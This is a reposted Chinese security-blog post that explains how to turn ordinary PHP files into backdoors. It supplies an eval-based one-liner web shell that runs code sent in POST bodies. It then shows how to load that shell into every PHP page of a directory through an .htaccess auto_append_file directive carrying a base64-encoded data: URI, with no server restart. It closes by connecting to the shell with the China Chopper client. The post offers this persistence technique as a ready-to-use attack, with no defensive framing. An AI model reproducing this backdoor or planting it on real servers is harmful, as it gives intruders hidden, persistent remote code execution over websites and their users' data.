技术笔记

把正常的PHP文件变成后门文件

字号+ 作者:sn0w 来源:转载 2016-11-27 14:47 我要评论( )

这里我们用的是 .htaccess文件(分布式配置文件,提供了针对目录改变配置的方法),通过在配置文件中写入php的相关配置,从而引入后门文件。 需要用到的PHP配置函......

这里我们用的是 .htaccess文件(分布式配置文件,提供了针对目录改变配置的方法),通过在配置文件中写入php的相关配置,从而引入后门文件。    需要用到的PHP配置函数
[PHP] 纯文本查看 复制代码
?
1
2
3
allow_url_inculde=on
auto_prepend_file =      // 在页面顶部加载文件
auto_append_file =       // 在页面底部加载文件

这里我们还用到了PHP内置协议,PHP内置协议封装列表:http://php.net/manual/zh/wrappers.php
这里我们先构造出语句:

[PHP] 纯文本查看 复制代码
?
1
<?php @eval(file_get_contents('php://input'))?>

通过file_get_contents获取input输入的值,然后通过eval函数运行php代码 测试如图

这里我们的后门就准备好了,然后我们怎么让每一个PHP文件都包含我们的后门呢,在PHP配置中有两项配置函数,通过这两个配置项我们可以在所有的PHP页面引入我们的后门文件

[PHP] 纯文本查看 复制代码
?
1
2
auto_prepend_file = // 在页面顶部加载文件
auto_append_file = // 在页面底部加载文件[

说到这里大部分回想到修改PHP.ini,但是修改配置文件需要重启相关的服务才生效,而且会造成网站短时间无法提供服务,危险系数有点高。这里我们就用htaccess文件生效快,而且不用重启服务。
首先我们创建一个htaccess文件,输入我们的后门

然后我们访问与htaccess同目录的任意文件 并POST传参

发现代码并没有成功执行
后来搜集相关知识,将语句进行base64加密后成功执行(这个时间太漫长,不叙述了)
最后的后门语句为

[PHP] 纯文本查看 复制代码
?
1
php_value auto_append_file "data:;base64,PD9waHAgQGV2YWwoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpPz4="


再次进行测试

发现命令被成功执行 而且访问任何页面都可以执行

如果PHP不支持内置协议(测试发现5.3n以上不支持),我们可以用我们最熟悉的一句话。


然后我们用菜刀链接任意文件


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/318.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 新思路php一句话过waf

    新思路php一句话过waf

    2018-03-22 09:10

  • 用DiskGenius读取虚拟机磁盘文件

    用DiskGenius读取虚拟机磁盘文件

    2017-03-15 09:32

  • 关于Safe DOG的文件上传bypass

    关于Safe DOG的文件上传bypass

    2017-03-07 09:08

  • python和django的目录遍历漏洞(任意文件读取)

    python和django的目录遍历漏洞(任意文件读取)

    2016-12-18 14:19

网友点评
暂时未开启评论功能~